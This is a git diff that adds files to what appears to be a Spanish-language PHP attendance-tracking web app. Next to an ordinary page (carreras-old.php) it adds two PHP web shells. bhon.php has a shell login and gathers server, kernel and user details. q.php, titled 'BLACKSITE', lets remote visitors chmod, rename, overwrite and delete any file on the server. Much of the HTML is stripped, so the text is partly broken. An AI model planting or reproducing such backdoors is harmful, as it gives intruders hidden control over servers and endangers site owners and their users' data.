diff --git a/.swp b/.swp
new file mode 100644
index 0000000..af42f24
Binary files /dev/null and b/.swp differ
diff --git a/bhon.php b/bhon.php
new file mode 100644
index 0000000..292d0c7
--- /dev/null
+++ b/bhon.php
@@ -0,0 +1,671 @@
+ $_SERVER['SERVER_ADDR'],
+ 'host' => gethostname(),
+ 'kernel' => php_uname(),
+ 'disablefunc' => ini_get('disable_functions'),
+ 'path' => getcwd(),
+ 'os' => PHP_OS,
+ ];
+
+ return $arr;
+}
+$getInfo = info();
+
+if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
+ $getInfo['os'] = 'Windows';
+ $paths = explode('\\', $getInfo['path']);
+ $paths = $paths[0] . '/';
+}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
+ $getInfo['os'] = 'Linux';
+ $paths = '/';
+}
+
+
+$dir = getcwd();
+
+if(isset($_GET['path'])) {
+ $replace = str_replace('\\', '/', $_GET['path']);
+ $replace = str_replace('//', '/', $_GET['path']);
+ $pecah = explode('/', $replace);
+}else {
+ $replace = str_replace('\\', '/', $dir);
+ $pecah = explode('/', $replace);
+}
+
+function loginShell() {
+ if(!isset($_SESSION['isLogin'])) {
+ echo "
+
+
+
+ Server IP : = $getInfo['ip']; ?>
+ Hostname : = $getInfo['host']; ?>
+ Kernel : = $getInfo['kernel']; ?>
+ OS : = $getInfo['os']; ?>
+ USER : = get_current_user(); ?>
+
+
+
+
+
+
+
+ ' . '-' . '';
+ for ($i = 1; $i < count($pecah); $i++) {
+ $subpath = implode('/', array_slice($pecah, 1, $i));
+ echo '/';
+ echo '
' . $pecah[$i] . '';
+ }
+ ?>
+
+
+
+
+
+
+ ' . '-' . '';
+ for ($i = 1; $i < count($pecah); $i++) {
+ $subpath = implode('/', array_slice($pecah, 1, $i));
+ echo '/';
+ echo '
' . $pecah[$i] . '';
+ }
+ ?>
+ = !empty($successEdit) ? "
" . $successEdit . "
" : ""; ?>
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/carreras-old.php b/carreras-old.php
new file mode 100644
index 0000000..44362ef
--- /dev/null
+++ b/carreras-old.php
@@ -0,0 +1,123 @@
+
+
+
+
+
+
+
Auditoría asistencial
+
+
+
+
+
+
+
+
+
+
+ $redirect = $_SERVER['PHP_SELF'];
+ include "import/html_header.php";
+ global $user;
+
+ html_header(
+ "Carreras",
+ "Sistema de gestión de checador",
+ );
+ ?>
+
+
+
+
+
{ message.text = '' })"
+ v-if="message.text">
+
+
+
+ {{ message.text }}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ {{ carrera.carrera_nombre }}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ include "import/html_footer.php"; ?>
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/include/db/postgrest b/include/db/postgrest
old mode 100644
new mode 100755
diff --git a/q.php b/q.php
new file mode 100644
index 0000000..8de468e
--- /dev/null
+++ b/q.php
@@ -0,0 +1,351 @@
+
+
+
+
+
+
+
+BLACKSITE
+
+
+
+| ';
+echo " |
|
+ | : " . $_SERVER['REMOTE_ADDR'] . "|
+ | : " . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "|
+ | : " . php_uname() . " | | |
";
+
+echo '
';
+ echo (' ');
+} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
+ echo '
' . $_POST['path'] . '
';
+
+ //Chmod
+ if ($_POST['opt'] == 'chmod') {
+ if (isset($_POST['perm'])) {
+ if (chmod($_POST['path'], $_POST['perm'])) {
+ echo '
CHANGE PERMISSION SUCCESS !!
';
+ } else {
+ echo '';
+ }
+ }
+ echo '
+Permission :
+
+
+
+';
+ }
+
+ //rename folder
+ elseif ($_GET['opt'] == 'btw') {
+ $cwd = getcwd();
+ echo '
+New Name :
+
+
+
+';
+ }
+
+ //rename file
+ elseif ($_POST['opt'] == 'rename') {
+ if (isset($_POST['newname'])) {
+ if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
+ echo '
CHANGE NAME SUCCESS !!
';
+ } else {
+ echo '';
+ }
+ $_POST['name'] = $_POST['newname'];
+ }
+ echo '
+New Name :
+
+
+
+';
+ }
+
+ //edit file
+ elseif ($_POST['opt'] == 'edit') {
+ if (isset($_POST['src'])) {
+ $fp = fopen($_POST['path'], 'w');
+ if (fwrite($fp, $_POST['src'])) {
+ echo '
EDIT FILE SUCCESS !!
';
+ } else {
+ echo '';
+ }
+ fclose($fp);
+ }
+ echo '
+
+
+
+
+';
+ }
+ echo '';
+} else {
+ echo '
';
+
+ //delete dir
+ if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
+ if ($_POST['type'] == 'dir') {
+ if (rmdir($_POST['path'])) {
+ echo '
DELETE DIR SUCCESS !!
';
+ } else {
+ echo '>';
+ }
+ }
+
+ //delete file
+ elseif ($_POST['type'] == 'file') {
+ if (unlink($_POST['path'])) {
+ echo '
DELETE FILE SUCCESS !!
';
+ } else {
+ echo '';
+ }
+ }
+ }
+
+?>
+';
+ $scandir = scandir($path);
+ $pa = getcwd();
+ echo '';
+}
+
+function perms($file)
+{
+ $perms = fileperms($file);
+
+ if (($perms & 0xC000) == 0xC000) {
+ // Socket
+ $info = 's';
+ } elseif (($perms & 0xA000) == 0xA000) {
+ // Symbolic Link
+ $info = 'l';
+ } elseif (($perms & 0x8000) == 0x8000) {
+ // Regular
+ $info = '-';
+ } elseif (($perms & 0x6000) == 0x6000) {
+ // Block special
+ $info = 'b';
+ } elseif (($perms & 0x4000) == 0x4000) {
+ // Directory
+ $info = 'd';
+ } elseif (($perms & 0x2000) == 0x2000) {
+ // Character special
+ $info = 'c';
+ } elseif (($perms & 0x1000) == 0x1000) {
+ // FIFO pipe
+ $info = 'p';
+ } else {
+ // Unknown
+ $info = 'u';
+ }
+
+ // Owner
+ $info .= (($perms & 0x0100) ? 'r' : '-');
+ $info .= (($perms & 0x0080) ? 'w' : '-');
+ $info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
+
+ // Group
+ $info .= (($perms & 0x0020) ? 'r' : '-');
+ $info .= (($perms & 0x0010) ? 'w' : '-');
+ $info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
+
+ // World
+ $info .= (($perms & 0x0004) ? 'r' : '-');
+ $info .= (($perms & 0x0002) ? 'w' : '-');
+ $info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
+
+ return $info;
+}
+
+?>
+
+
+